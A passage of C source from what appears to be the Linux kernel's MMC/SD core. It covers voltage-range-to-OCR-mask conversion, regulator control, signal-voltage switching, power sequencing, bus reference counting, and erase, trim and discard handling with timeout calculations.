return ilog2(MMC_VDD_165_195);
if (low_bits)
vdd -= 1;
/* Base 2000 mV, step 100 mV, bit's base 8. */
bit = (vdd - 2000) / 100 + 8;
if (bit > max_bit)
return max_bit;
return bit;
}
/**
* mmc_vddrange_to_ocrmask - Convert a voltage range to the OCR mask
* @vdd_min: minimum voltage value (mV)
* @vdd_max: maximum voltage value (mV)
*
* This function returns the OCR mask bits according to the provided @vdd_min
* and @vdd_max values. If conversion is not possible the function returns 0.
*
* Notes wrt boundary cases:
* This function sets the OCR bits for all boundary voltages, for example
* [3300:3400] range is translated to MMC_VDD_32_33 | MMC_VDD_33_34 |
* MMC_VDD_34_35 mask.
*/
u32 mmc_vddrange_to_ocrmask(int vdd_min, int vdd_max)
{
u32 mask = 0;
if (vdd_max < vdd_min)
return 0;
/* Prefer high bits for the boundary vdd_max values. */
vdd_max = mmc_vdd_to_ocrbitnum(vdd_max, false);
if (vdd_max < 0)
return 0;
/* Prefer low bits for the boundary vdd_min values. */
vdd_min = mmc_vdd_to_ocrbitnum(vdd_min, true);
if (vdd_min < 0)
return 0;
/* Fill the mask, from max bit to min bit. */
while (vdd_max >= vdd_min)
mask |= 1 << vdd_max--;
return mask;
}
EXPORT_SYMBOL(mmc_vddrange_to_ocrmask);
#ifdef CONFIG_OF
/**
* mmc_of_parse_voltage - return mask of supported voltages
* @np: The device node need to be parsed.
* @mask: mask of voltages available for MMC/SD/SDIO
*
* 1. Return zero on success.
* 2. Return negative errno: voltage-range is invalid.
*/
int mmc_of_parse_voltage(struct device_node *np, u32 *mask)
{
const u32 *voltage_ranges;
int num_ranges, i;
voltage_ranges = of_get_property(np, "voltage-ranges", &num_ranges);
num_ranges = num_ranges / sizeof(*voltage_ranges) / 2;
if (!voltage_ranges || !num_ranges) {
pr_info("%s: voltage-ranges unspecified\n", np->full_name);
return -EINVAL;
}
for (i = 0; i < num_ranges; i++) {
const int j = i * 2;
u32 ocr_mask;
ocr_mask = mmc_vddrange_to_ocrmask(
be32_to_cpu(voltage_ranges[j]),
be32_to_cpu(voltage_ranges[j + 1]));
if (!ocr_mask) {
pr_err("%s: voltage-range #%d is invalid\n",
np->full_name, i);
return -EINVAL;
}
*mask |= ocr_mask;
}
return 0;
}
EXPORT_SYMBOL(mmc_of_parse_voltage);
#endif /* CONFIG_OF */
#ifdef CONFIG_REGULATOR
/**
* mmc_regulator_get_ocrmask - return mask of supported voltages
* @supply: regulator to use
*
* This returns either a negative errno, or a mask of voltages that
* can be provided to MMC/SD/SDIO devices using the specified voltage
* regulator. This would normally be called before registering the
* MMC host adapter.
*/
int mmc_regulator_get_ocrmask(struct regulator *supply)
{
int result = 0;
int count;
int i;
int vdd_uV;
int vdd_mV;
count = regulator_count_voltages(supply);
if (count < 0)
return count;
for (i = 0; i < count; i++) {
vdd_uV = regulator_list_voltage(supply, i);
if (vdd_uV <= 0)
continue;
vdd_mV = vdd_uV / 1000;
result |= mmc_vddrange_to_ocrmask(vdd_mV, vdd_mV);
}
if (!result) {
vdd_uV = regulator_get_voltage(supply);
if (vdd_uV <= 0)
return vdd_uV;
vdd_mV = vdd_uV / 1000;
result = mmc_vddrange_to_ocrmask(vdd_mV, vdd_mV);
}
return result;
}
EXPORT_SYMBOL_GPL(mmc_regulator_get_ocrmask);
/**
* mmc_regulator_set_ocr - set regulator to match host->ios voltage
* @mmc: the host to regulate
* @supply: regulator to use
* @vdd_bit: zero for power off, else a bit number (host->ios.vdd)
*
* Returns zero on success, else negative errno.
*
* MMC host drivers may use this to enable or disable a regulator using
* a particular supply voltage. This would normally be called from the
* set_ios() method.
*/
int mmc_regulator_set_ocr(struct mmc_host *mmc,
struct regulator *supply,
unsigned short vdd_bit)
{
int result = 0;
int min_uV, max_uV;
if (vdd_bit) {
int tmp;
/*
* REVISIT mmc_vddrange_to_ocrmask() may have set some
* bits this regulator doesn't quite support ... don't
* be too picky, most cards and regulators are OK with
* a 0.1V range goof (it's a small error percentage).
*/
tmp = vdd_bit - ilog2(MMC_VDD_165_195);
if (tmp == 0) {
min_uV = 1650 * 1000;
max_uV = 1950 * 1000;
} else {
min_uV = 1900 * 1000 + tmp * 100 * 1000;
max_uV = min_uV + 100 * 1000;
}
result = regulator_set_voltage(supply, min_uV, max_uV);
if (result == 0 && !mmc->regulator_enabled) {
result = regulator_enable(supply);
if (!result)
mmc->regulator_enabled = true;
}
} else if (mmc->regulator_enabled) {
result = regulator_disable(supply);
if (result == 0)
mmc->regulator_enabled = false;
}
if (result)
dev_err(mmc_dev(mmc),
"could not set regulator OCR (%d)\n", result);
return result;
}
EXPORT_SYMBOL_GPL(mmc_regulator_set_ocr);
#endif /* CONFIG_REGULATOR */
int mmc_regulator_get_supply(struct mmc_host *mmc)
{
struct device *dev = mmc_dev(mmc);
int ret;
mmc->supply.vmmc = devm_regulator_get_optional(dev, "vmmc");
mmc->supply.vqmmc = devm_regulator_get_optional(dev, "vqmmc");
if (IS_ERR(mmc->supply.vmmc)) {
if (PTR_ERR(mmc->supply.vmmc) == -EPROBE_DEFER)
return -EPROBE_DEFER;
dev_info(dev, "No vmmc regulator found\n");
} else {
ret = mmc_regulator_get_ocrmask(mmc->supply.vmmc);
if (ret > 0)
mmc->ocr_avail = ret;
else
dev_warn(dev, "Failed getting OCR mask: %d\n", ret);
}
if (IS_ERR(mmc->supply.vqmmc)) {
if (PTR_ERR(mmc->supply.vqmmc) == -EPROBE_DEFER)
return -EPROBE_DEFER;
dev_info(dev, "No vqmmc regulator found\n");
}
return 0;
}
EXPORT_SYMBOL_GPL(mmc_regulator_get_supply);
/*
* Mask off any voltages we don't support and select
* the lowest voltage
*/
u32 mmc_select_voltage(struct mmc_host *host, u32 ocr)
{
int bit;
/*
* Sanity check the voltages that the card claims to
* support.
*/
if (ocr & 0x7F) {
dev_warn(mmc_dev(host),
"card claims to support voltages below defined range\n");
ocr &= ~0x7F;
}
ocr &= host->ocr_avail;
if (!ocr) {
dev_warn(mmc_dev(host), "no support for card's volts\n");
return 0;
}
if (host->caps2 & MMC_CAP2_FULL_PWR_CYCLE) {
bit = ffs(ocr) - 1;
ocr &= 3 << bit;
mmc_power_cycle(host, ocr);
} else {
bit = fls(ocr) - 1;
ocr &= 3 << bit;
if (bit != host->ios.vdd)
dev_warn(mmc_dev(host), "exceeding card's volts\n");
}
return ocr;
}
int __mmc_set_signal_voltage(struct mmc_host *host, int signal_voltage)
{
int err = 0;
int old_signal_voltage = host->ios.signal_voltage;
host->ios.signal_voltage = signal_voltage;
if (host->ops->start_signal_voltage_switch) {
mmc_host_clk_hold(host);
err = host->ops->start_signal_voltage_switch(host, &host->ios);
mmc_host_clk_release(host);
}
if (err)
host->ios.signal_voltage = old_signal_voltage;
return err;
}
int mmc_set_signal_voltage(struct mmc_host *host, int signal_voltage, u32 ocr)
{
struct mmc_command cmd = {0};
int err = 0;
u32 clock;
BUG_ON(!host);
/*
* Send CMD11 only if the request is to switch the card to
* 1.8V signalling.
*/
if (signal_voltage == MMC_SIGNAL_VOLTAGE_330)
return __mmc_set_signal_voltage(host, signal_voltage);
/*
* If we cannot switch voltages, return failure so the caller
* can continue without UHS mode
*/
if (!host->ops->start_signal_voltage_switch)
return -EPERM;
if (!host->ops->card_busy)
pr_warn("%s: cannot verify signal voltage switch\n",
mmc_hostname(host));
cmd.opcode = SD_SWITCH_VOLTAGE;
cmd.arg = 0;
cmd.flags = MMC_RSP_R1 | MMC_CMD_AC;
/*
* Hold the clock reference so clock doesn't get auto gated during this
* voltage switch sequence.
*/
mmc_host_clk_hold(host);
err = mmc_wait_for_cmd(host, &cmd, 0);
if (err)
goto exit;
if (!mmc_host_is_spi(host) && (cmd.resp[0] & R1_ERROR)) {
err = -EIO;
goto exit;
}
/*
* The card should drive cmd and dat[0:3] low immediately
* after the response of cmd11, but wait 1 ms to be sure
*/
mmc_delay(1);
if (host->ops->card_busy && !host->ops->card_busy(host)) {
err = -EAGAIN;
goto power_cycle;
}
/*
* During a signal voltage level switch, the clock must be gated
* for 5 ms according to the SD spec
*/
host->card_clock_off = true;
clock = host->ios.clock;
host->ios.clock = 0;
mmc_set_ios(host);
if (__mmc_set_signal_voltage(host, signal_voltage)) {
/*
* Voltages may not have been switched, but we've already
* sent CMD11, so a power cycle is required anyway
*/
err = -EAGAIN;
host->ios.clock = clock;
mmc_set_ios(host);
host->card_clock_off = false;
goto power_cycle;
}
/* Keep clock gated for at least 5 ms */
mmc_delay(5);
host->ios.clock = clock;
mmc_set_ios(host);
host->card_clock_off = false;
/* Wait for at least 1 ms according to spec */
mmc_delay(1);
/*
* Failure to switch is indicated by the card holding
* dat[0:3] low
*/
if (host->ops->card_busy && host->ops->card_busy(host))
err = -EAGAIN;
power_cycle:
if (err) {
pr_debug("%s: Signal voltage switch failed, "
"power cycling card\n", mmc_hostname(host));
mmc_power_cycle(host, ocr);
}
exit:
mmc_host_clk_release(host);
return err;
}
/*
* Select timing parameters for host.
*/
void mmc_set_timing(struct mmc_host *host, unsigned int timing)
{
mmc_host_clk_hold(host);
host->ios.timing = timing;
mmc_set_ios(host);
mmc_host_clk_release(host);
}
/*
* Select appropriate driver type for host.
*/
void mmc_set_driver_type(struct mmc_host *host, unsigned int drv_type)
{
mmc_host_clk_hold(host);
host->ios.drv_type = drv_type;
mmc_set_ios(host);
mmc_host_clk_release(host);
}
/*
* Apply power to the MMC stack. This is a two-stage process.
* First, we enable power to the card without the clock running.
* We then wait a bit for the power to stabilise. Finally,
* enable the bus drivers and clock to the card.
*
* We must _NOT_ enable the clock prior to power stablising.
*
* If a host does all the power sequencing itself, ignore the
* initial MMC_POWER_UP stage.
*/
void mmc_power_up(struct mmc_host *host, u32 ocr)
{
if (host->ios.power_mode == MMC_POWER_ON)
return;
mmc_host_clk_hold(host);
host->ios.vdd = fls(ocr) - 1;
if (mmc_host_is_spi(host))
host->ios.chip_select = MMC_CS_HIGH;
else {
host->ios.chip_select = MMC_CS_DONTCARE;
host->ios.bus_mode = MMC_BUSMODE_OPENDRAIN;
}
host->ios.power_mode = MMC_POWER_UP;
host->ios.bus_width = MMC_BUS_WIDTH_1;
host->ios.timing = MMC_TIMING_LEGACY;
mmc_set_ios(host);
/* Try to set signal voltage to 3.3V but fall back to 1.8v or 1.2v */
if (__mmc_set_signal_voltage(host, MMC_SIGNAL_VOLTAGE_330) == 0)
dev_dbg(mmc_dev(host), "Initial signal voltage of 3.3v\n");
else if (__mmc_set_signal_voltage(host, MMC_SIGNAL_VOLTAGE_180) == 0)
dev_dbg(mmc_dev(host), "Initial signal voltage of 1.8v\n");
else if (__mmc_set_signal_voltage(host, MMC_SIGNAL_VOLTAGE_120) == 0)
dev_dbg(mmc_dev(host), "Initial signal voltage of 1.2v\n");
/*
* This delay should be sufficient to allow the power supply
* to reach the minimum voltage.
*/
mmc_delay(10);
host->ios.clock = host->f_init;
host->ios.power_mode = MMC_POWER_ON;
mmc_set_ios(host);
/*
* This delay must be at least 74 clock sizes, or 1 ms, or the
* time required to reach a stable voltage.
*/
mmc_delay(10);
mmc_host_clk_release(host);
}
void mmc_power_off(struct mmc_host *host)
{
if (host->ios.power_mode == MMC_POWER_OFF)
return;
mmc_host_clk_hold(host);
host->ios.clock = 0;
host->ios.vdd = 0;
if (!mmc_host_is_spi(host)) {
host->ios.bus_mode = MMC_BUSMODE_OPENDRAIN;
host->ios.chip_select = MMC_CS_DONTCARE;
}
host->ios.power_mode = MMC_POWER_OFF;
host->ios.bus_width = MMC_BUS_WIDTH_1;
host->ios.timing = MMC_TIMING_LEGACY;
mmc_set_ios(host);
/*
* Some configurations, such as the 802.11 SDIO card in the OLPC
* XO-1.5, require a short delay after poweroff before the card
* can be successfully turned on again.
*/
mmc_delay(1);
mmc_host_clk_release(host);
}
void mmc_power_cycle(struct mmc_host *host, u32 ocr)
{
mmc_power_off(host);
/* Wait at least 1 ms according to SD spec */
mmc_delay(1);
mmc_power_up(host, ocr);
}
/*
* Cleanup when the last reference to the bus operator is dropped.
*/
static void __mmc_release_bus(struct mmc_host *host)
{
BUG_ON(!host);
BUG_ON(host->bus_refs);
BUG_ON(!host->bus_dead);
host->bus_ops = NULL;
}
/*
* Increase reference count of bus operator
*/
static inline void mmc_bus_get(struct mmc_host *host)
{
unsigned long flags;
spin_lock_irqsave(&host->lock, flags);
host->bus_refs++;
spin_unlock_irqrestore(&host->lock, flags);
}
/*
* Decrease reference count of bus operator and free it if
* it is the last reference.
*/
static inline void mmc_bus_put(struct mmc_host *host)
{
unsigned long flags;
spin_lock_irqsave(&host->lock, flags);
host->bus_refs--;
if ((host->bus_refs == 0) && host->bus_ops)
__mmc_release_bus(host);
spin_unlock_irqrestore(&host->lock, flags);
}
/*
* Assign a mmc bus handler to a host. Only one bus handler may control a
* host at any given time.
*/
void mmc_attach_bus(struct mmc_host *host, const struct mmc_bus_ops *ops)
{
unsigned long flags;
BUG_ON(!host);
BUG_ON(!ops);
WARN_ON(!host->claimed);
spin_lock_irqsave(&host->lock, flags);
BUG_ON(host->bus_ops);
BUG_ON(host->bus_refs);
host->bus_ops = ops;
host->bus_refs = 1;
host->bus_dead = 0;
spin_unlock_irqrestore(&host->lock, flags);
}
/*
* Remove the current bus handler from a host.
*/
void mmc_detach_bus(struct mmc_host *host)
{
unsigned long flags;
BUG_ON(!host);
WARN_ON(!host->claimed);
WARN_ON(!host->bus_ops);
spin_lock_irqsave(&host->lock, flags);
host->bus_dead = 1;
spin_unlock_irqrestore(&host->lock, flags);
mmc_bus_put(host);
}
static void _mmc_detect_change(struct mmc_host *host, unsigned long delay,
bool cd_irq)
{
#ifdef CONFIG_MMC_DEBUG
unsigned long flags;
spin_lock_irqsave(&host->lock, flags);
WARN_ON(host->removed);
spin_unlock_irqrestore(&host->lock, flags);
#endif
/*
* If the device is configured as wakeup, we prevent a new sleep for
* 5 s to give provision for user space to consume the event.
*/
if (cd_irq && !(host->caps & MMC_CAP_NEEDS_POLL) &&
device_can_wakeup(mmc_dev(host)))
pm_wakeup_event(mmc_dev(host), 5000);
host->detect_change = 1;
mmc_schedule_delayed_work(&host->detect, delay);
}
/**
* mmc_detect_change - process change of state on a MMC socket
* @host: host which changed state.
* @delay: optional delay to wait before detection (jiffies)
*
* MMC drivers should call this when they detect a card has been
* inserted or removed. The MMC layer will confirm that any
* present card is still functional, and initialize any newly
* inserted.
*/
void mmc_detect_change(struct mmc_host *host, unsigned long delay)
{
_mmc_detect_change(host, delay, true);
}
EXPORT_SYMBOL(mmc_detect_change);
void mmc_init_erase(struct mmc_card *card)
{
unsigned int sz;
if (is_power_of_2(card->erase_size))
card->erase_shift = ffs(card->erase_size) - 1;
else
card->erase_shift = 0;
/*
* It is possible to erase an arbitrarily large area of an SD or MMC
* card. That is not desirable because it can take a long time
* (minutes) potentially delaying more important I/O, and also the
* timeout calculations become increasingly hugely over-estimated.
* Consequently, 'pref_erase' is defined as a guide to limit erases
* to that size and alignment.
*
* For SD cards that define Allocation Unit size, limit erases to one
* Allocation Unit at a time. For MMC cards that define High Capacity
* Erase Size, whether it is switched on or not, limit to that size.
* Otherwise just have a stab at a good value. For modern cards it
* will end up being 4MiB. Note that if the value is too small, it
* can end up taking longer to erase.
*/
if (mmc_card_sd(card) && card->ssr.au) {
card->pref_erase = card->ssr.au;
card->erase_shift = ffs(card->ssr.au) - 1;
} else if (card->ext_csd.hc_erase_size) {
card->pref_erase = card->ext_csd.hc_erase_size;
} else if (card->erase_size) {
sz = (card->csd.capacity << (card->csd.read_blkbits - 9)) >> 11;
if (sz < 128)
card->pref_erase = 512 * 1024 / 512;
else if (sz < 512)
card->pref_erase = 1024 * 1024 / 512;
else if (sz < 1024)
card->pref_erase = 2 * 1024 * 1024 / 512;
else
card->pref_erase = 4 * 1024 * 1024 / 512;
if (card->pref_erase < card->erase_size)
card->pref_erase = card->erase_size;
else {
sz = card->pref_erase % card->erase_size;
if (sz)
card->pref_erase += card->erase_size - sz;
}
} else
card->pref_erase = 0;
}
static unsigned int mmc_mmc_erase_timeout(struct mmc_card *card,
unsigned int arg, unsigned int qty)
{
unsigned int erase_timeout;
if (arg == MMC_DISCARD_ARG ||
(arg == MMC_TRIM_ARG && card->ext_csd.rev >= 6)) {
erase_timeout = card->ext_csd.trim_timeout;
} else if (card->ext_csd.erase_group_def & 1) {
/* High Capacity Erase Group Size uses HC timeouts */
if (arg == MMC_TRIM_ARG)
erase_timeout = card->ext_csd.trim_timeout;
else
erase_timeout = card->ext_csd.hc_erase_timeout;
} else {
/* CSD Erase Group Size uses write timeout */
unsigned int mult = (10 << card->csd.r2w_factor);
unsigned int timeout_clks = card->csd.tacc_clks * mult;
unsigned int timeout_us;
/* Avoid overflow: e.g. tacc_ns=80000000 mult=1280 */
if (card->csd.tacc_ns < 1000000)
timeout_us = (card->csd.tacc_ns * mult) / 1000;
else
timeout_us = (card->csd.tacc_ns / 1000) * mult;
/*
* ios.clock is only a target. The real clock rate might be
* less but not that much less, so fudge it by multiplying by 2.
*/
timeout_clks <<= 1;
timeout_us += (timeout_clks * 1000) /
(mmc_host_clk_rate(card->host) / 1000);
erase_timeout = timeout_us / 1000;
/*
* Theoretically, the calculation could underflow so round up
* to 1ms in that case.
*/
if (!erase_timeout)
erase_timeout = 1;
}
/* Multiplier for secure operations */
if (arg & MMC_SECURE_ARGS) {
if (arg == MMC_SECURE_ERASE_ARG)
erase_timeout *= card->ext_csd.sec_erase_mult;
else
erase_timeout *= card->ext_csd.sec_trim_mult;
}
erase_timeout *= qty;
/*
* Ensure at least a 1 second timeout for SPI as per
* 'mmc_set_data_timeout()'
*/
if (mmc_host_is_spi(card->host) && erase_timeout < 1000)
erase_timeout = 1000;
return erase_timeout;
}
static unsigned int mmc_sd_erase_timeout(struct mmc_card *card,
unsigned int arg,
unsigned int qty)
{
unsigned int erase_timeout;
if (card->ssr.erase_timeout) {
/* Erase timeout specified in SD Status Register (SSR) */
erase_timeout = card->ssr.erase_timeout * qty +
card->ssr.erase_offset;
} else {
/*
* Erase timeout not specified in SD Status Register (SSR) so
* use 250ms per write block.
*/
erase_timeout = 250 * qty;
}
/* Must not be less than 1 second */
if (erase_timeout < 1000)
erase_timeout = 1000;
return erase_timeout;
}
static unsigned int mmc_erase_timeout(struct mmc_card *card,
unsigned int arg,
unsigned int qty)
{
if (mmc_card_sd(card))
return mmc_sd_erase_timeout(card, arg, qty);
else
return mmc_mmc_erase_timeout(card, arg, qty);
}
static u32 mmc_get_erase_qty(struct mmc_card *card, u32 from, u32 to)
{
u32 qty = 0;
/*
* qty is used to calculate the erase timeout which depends on how many
* erase groups (or allocation units in SD terminology) are affected.
* We count erasing part of an erase group as one erase group.
* For SD, the allocation units are always a power of 2. For MMC, the
* erase group size is almost certainly also power of 2, but it does not
* seem to insist on that in the JEDEC standard, so we fall back to
* division in that case. SD may not specify an allocation unit size,
* in which case the timeout is based on the number of write blocks.
*
* Note that the timeout for secure trim 2 will only be correct if the
* number of erase groups specified is the same as the total of all
* preceding secure trim 1 commands. Since the power may have been
* lost since the secure trim 1 commands occurred, it is generally
* impossible to calculate the secure trim 2 timeout correctly.
*/
if (card->erase_shift)
qty += ((to >> card->erase_shift) -
(from >> card->erase_shift)) + 1;
else if (mmc_card_sd(card))
qty += to - from + 1;
else
qty += ((to / card->erase_size) -
(from / card->erase_size)) + 1;
return qty;
}
static int mmc_cmdq_send_erase_cmd(struct mmc_cmdq_req *cmdq_req,
struct mmc_card *card, u32 opcode, u32 arg, u32 qty)
{
struct mmc_command *cmd = cmdq_req->mrq.cmd;
int err;
memset(cmd, 0, sizeof(struct mmc_command));
cmd->opcode = opcode;
cmd->arg = arg;
if (cmd->opcode == MMC_ERASE) {
cmd->flags = MMC_RSP_SPI_R1B | MMC_RSP_R1B | MMC_CMD_AC;
cmd->busy_timeout = mmc_erase_timeout(card, arg, qty);
} else {
cmd->flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_AC;
}
err = mmc_cmdq_wait_for_dcmd(card->host, cmdq_req);
if (err) {
pr_err("mmc_erase: group start error %d, status %#x\n",
err, cmd->resp[0]);
return -EIO;
}
return 0;
}
static int mmc_cmdq_do_erase(struct mmc_cmdq_req *cmdq_req,
struct mmc_card *card, unsigned int from,
unsigned int to, unsigned int arg)
{
struct mmc_command *cmd = cmdq_req->mrq.cmd;
unsigned int qty = 0;
unsigned long timeout;
unsigned int fr, nr;
int err;
fr = from;
nr = to - from + 1;
trace_mmc_blk_erase_start(arg, fr, nr);
qty = mmc_get_erase_qty(card, from, to);
if (!mmc_card_blockaddr(card)) {
from <<= 9;
to <<= 9;
}
err = mmc_cmdq_send_erase_cmd(cmdq_req, card, MMC_ERASE_GROUP_START,
from, qty);
if (err)
goto out;
err = mmc_cmdq_send_erase_cmd(cmdq_req, card, MMC_ERASE_GROUP_END,
to, qty);
if (err)
goto out;
err = mmc_cmdq_send_erase_cmd(cmdq_req, card, MMC_ERASE,
arg, qty);
if (err)
goto out;
timeout = jiffies + msecs_to_jiffies(MMC_CORE_TIMEOUT_MS);
do {
memset(cmd, 0, sizeof(struct mmc_command));
cmd->opcode = MMC_SEND_STATUS;
cmd->arg = card->rca << 16;
cmd->flags = MMC_RSP_R1 | MMC_CMD_AC;
/* Do not retry else we can't see errors */
err = mmc_cmdq_wait_for_dcmd(card->host, cmdq_req);
if (err || (cmd->resp[0] & 0xFDF92000)) {
pr_err("error %d requesting status %#x\n",
err, cmd->resp[0]);
err = -EIO;
goto out;
}
/* Timeout if the device never becomes ready for data and
* never leaves the program state.
*/
if (time_after(jiffies, timeout)) {
pr_err("%s: Card stuck in programming state! %s\n",
mmc_hostname(card->host), __func__);
err = -EIO;
goto out;
}
} while (!(cmd->resp[0] & R1_READY_FOR_DATA) ||
(R1_CURRENT_STATE(cmd->resp[0]) == R1_STATE_PRG));
out:
trace_mmc_blk_erase_end(arg, fr, nr);
return err;
}
static int mmc_do_erase(struct mmc_card *card, unsigned int from,
unsigned int to, unsigned int arg)
{
struct mmc_command cmd = {0};
unsigned int qty = 0;
unsigned long timeout;
unsigned int fr, nr;
int err;
fr = from;
nr = to - from + 1;
trace_mmc_blk_erase_start(arg, fr, nr);
qty = mmc_get_erase_qty(card, from, to);
if (!mmc_card_blockaddr(card)) {
from <<= 9;
to <<= 9;
}
if (mmc_card_sd(card))
cmd.opcode = SD_ERASE_WR_BLK_START;
else
cmd.opcode = MMC_ERASE_GROUP_START;
cmd.arg = from;
cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd, 0);
if (err) {
pr_err("mmc_erase: group start error %d, "
"status %#x\n", err, cmd.resp[0]);
err = -EIO;
goto out;
}
memset(&cmd, 0, sizeof(struct mmc_command));
if (mmc_card_sd(card))
cmd.opcode = SD_ERASE_WR_BLK_END;
else
cmd.opcode = MMC_ERASE_GROUP_END;
cmd.arg = to;
cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd, 0);
if (err) {
pr_err("mmc_erase: group end error %d, status %#x\n",
err, cmd.resp[0]);
err = -EIO;
goto out;
}
memset(&cmd, 0, sizeof(struct mmc_command));
cmd.opcode = MMC_ERASE;
cmd.arg = arg;
cmd.flags = MMC_RSP_SPI_R1B | MMC_RSP_R1B | MMC_CMD_AC;
cmd.busy_timeout = mmc_erase_timeout(card, arg, qty);
err = mmc_wait_for_cmd(card->host, &cmd, 0);
if (err) {
pr_err("mmc_erase: erase error %d, status %#x\n",
err, cmd.resp[0]);
err = -EIO;
goto out;
}
if (mmc_host_is_spi(card->host))
goto out;
timeout = jiffies + msecs_to_jiffies(MMC_CORE_TIMEOUT_MS);
do {
memset(&cmd, 0, sizeof(struct mmc_command));
cmd.opcode = MMC_SEND_STATUS;
cmd.arg = card->rca << 16;
cmd.flags = MMC_RSP_R1 | MMC_CMD_AC;
/* Do not retry else we can't see errors */
err = mmc_wait_for_cmd(card->host, &cmd, 0);
if (err || (cmd.resp[0] & 0xFDF92000)) {
pr_err("error %d requesting status %#x\n",
err, cmd.resp[0]);
err = -EIO;
goto out;
}
/* Timeout if the device never becomes ready for data and
* never leaves the program state.
*/
if (time_after(jiffies, timeout)) {
pr_err("%s: Card stuck in programming state! %s\n",
mmc_hostname(card->host), __func__);
err = -EIO;
goto out;
}
} while (!(cmd.resp[0] & R1_READY_FOR_DATA) ||
(R1_CURRENT_STATE(cmd.resp[0]) == R1_STATE_PRG));
out:
trace_mmc_blk_erase_end(arg, fr, nr);
return err;
}
int mmc_erase_sanity_check(struct mmc_card *card, unsigned int from,
unsigned int nr, unsigned int arg)
{
if (!(card->host->caps & MMC_CAP_ERASE) ||
!(card->csd.cmdclass & CCC_ERASE))
return -EOPNOTSUPP;
if (!card->erase_size)
return -EOPNOTSUPP;
if (mmc_card_sd(card) && arg != MMC_ERASE_ARG)
return -EOPNOTSUPP;
if ((arg & MMC_SECURE_ARGS) &&
!(card->ext_csd.sec_feature_support & EXT_CSD_SEC_ER_EN))
return -EOPNOTSUPP;
if ((arg & MMC_TRIM_ARGS) &&
!(card->ext_csd.sec_feature_support & EXT_CSD_SEC_GB_CL_EN))
return -EOPNOTSUPP;
if (arg == MMC_SECURE_ERASE_ARG) {
if (from % card->erase_size || nr % card->erase_size)
return -EINVAL;
}
return 0;
}
int mmc_cmdq_erase(struct mmc_cmdq_req *cmdq_req,
struct mmc_card *card, unsigned int from, unsigned int nr,
unsigned int arg)
{
unsigned int rem, to = from + nr;
int ret;
ret = mmc_erase_sanity_check(card, from, nr, arg);
if (ret)
return ret;
if (arg == MMC_ERASE_ARG) {
rem = from % card->erase_size;
if (rem) {
rem = card->erase_size - rem;
from += rem;
if (nr > rem)
nr -= rem;
else
return 0;
}
rem = nr % card->erase_size;
if (rem)
nr -= rem;
}
if (nr == 0)
return 0;
to = from + nr;
if (to <= from)
return -EINVAL;
/* 'from' and 'to' are inclusive */
to -= 1;
return mmc_cmdq_do_erase(cmdq_req, card, from, to, arg);
}
EXPORT_SYMBOL(mmc_cmdq_erase);
/**
* mmc_erase - erase sectors.
* @card: card to erase
* @from: first sector to erase
* @nr: number of sectors to erase
* @arg: erase command argument (SD supports only %MMC_ERASE_ARG)
*
* Caller must claim host before calling this function.
*/
int mmc_erase(struct mmc_card *card, unsigned int from, unsigned int nr,
unsigned int arg)
{
unsigned int rem, to = from + nr;
int ret;
ret = mmc_erase_sanity_check(card, from, nr, arg);
if (ret)
return ret;
if (arg == MMC_ERASE_ARG) {
rem = from % card->erase_size;
if (rem) {
rem = card->erase_size - rem;
from += rem;
if (nr > rem)
nr -= rem;
else
return 0;
}
rem = nr % card->erase_size;
if (rem)
nr -= rem;
}
if (nr == 0)
return 0;
to = from + nr;
if (to <= from)
return -EINVAL;
/* 'from' and 'to' are inclusive */
to -= 1;
return mmc_do_erase(card, from, to, arg);
}
EXPORT_SYMBOL(mmc_erase);
int mmc_can_erase(struct mmc_card *card)
{
if ((card->host->caps & MMC_CAP_ERASE) &&
(card->csd.cmdclass & CCC_ERASE) && card->erase_size)
return 1;
return 0;
}
EXPORT_SYMBOL(mmc_can_erase);
int mmc_can_trim(struct mmc_card *card)
{
if (card->ext_csd.sec_feature_support & EXT_CSD_SEC_GB_CL_EN)
return 1;
return 0;
}
EXPORT_SYMBOL(mmc_can_trim);
int mmc_can_discard(struct mmc_card *card)
{
/*
* As there's no way to detect the discard support bit at v4.5
* use the s/w feature support filed.
*/
if (card->ext_csd.feature_support & MMC_DISCARD_FEATURE)
return 1;
return 0;
}
EXPORT_SYMBOL(mmc_can_discard);
int mmc_can_sanitize(struct mmc_card *card)
{
if (!mmc_can_trim(card) && !mmc_can_erase(card))
return 0;
if (card->ext_csd.sec_feature_support & EXT_CSD_SEC_SANITIZE)
return 1;
return 0;
}
EXPORT_SYMBOL(mmc_can_sanitize);
int mmc_can_secure_erase_trim(struct mmc_card *card)
{
if ((card->ext_csd.sec_feature_support & EXT_CSD_SEC_ER_EN) &&
!(card->quirks & MMC_QUIRK_SEC_ERASE_TRIM_BROKEN))
return 1;
return 0;
}
EXPORT_SYMBOL(mmc_can_secure_erase_trim);
int mmc_erase_group_aligned(struct mmc_card *card, unsigned int from,
unsigned int nr)
{
if (!card->erase_size)
return 0;
if (from % card->erase_size || nr % card->erase_size)
return 0;
return 1;
}
EXPORT_SYMBOL(mmc_erase_group_aligned);
static unsigned int mmc_do_calc_max_discard(struct mmc_card *card,
unsigned int arg)
{
struct mmc_host *host = card->host;
unsigned int max_discard, x, y, qty = 0, max_qty, timeout;
unsigned int last_timeout = 0;
if (card->erase_shift)
max_qty = UINT_MAX >> card->erase_shift;
else if (mmc_card_sd(card))
max_qty = UINT_MAX;
else
max_qty = UINT_MAX / card->erase_size;
/* Find the largest qty with an OK timeout */
do {
y = 0;
for (x = 1; x && x <= max_qty && max_qty - x >= qty; x <<= 1) {
timeout = mmc_erase_timeout(card, arg, qty + x);
if (timeout > host->max_busy_timeout)
break;
if (timeout < last_timeout)
break;
last_timeout = timeout;
y = x;
}
qty += y;
} while (y);
if (!qty)
return 0;
if (qty == 1)
return 1;
/* Convert qty to sectors */
if (card->erase_shift)
max_discard = --qty << card->erase_shift;
else if (mmc_card_sd(card))
max_discard = qty;
else
max_discard = --qty * card->erase_size;
return max_discard;
}
unsigned int mmc_calc_max_discard(struct mmc_card *card)
{
struct mmc_host *host = card->host;
unsigned int max_discard, max_trim;
if (!host->max_busy_timeout ||
(host->caps2 & MMC_CAP2_MAX_DISCARD_SIZE))
return UINT_MAX;
/*
* Without erase_group_def set, MMC erase timeout depends on clock
* frequence which can change. In that case, the best choice is
* just the preferred erase size.
*/
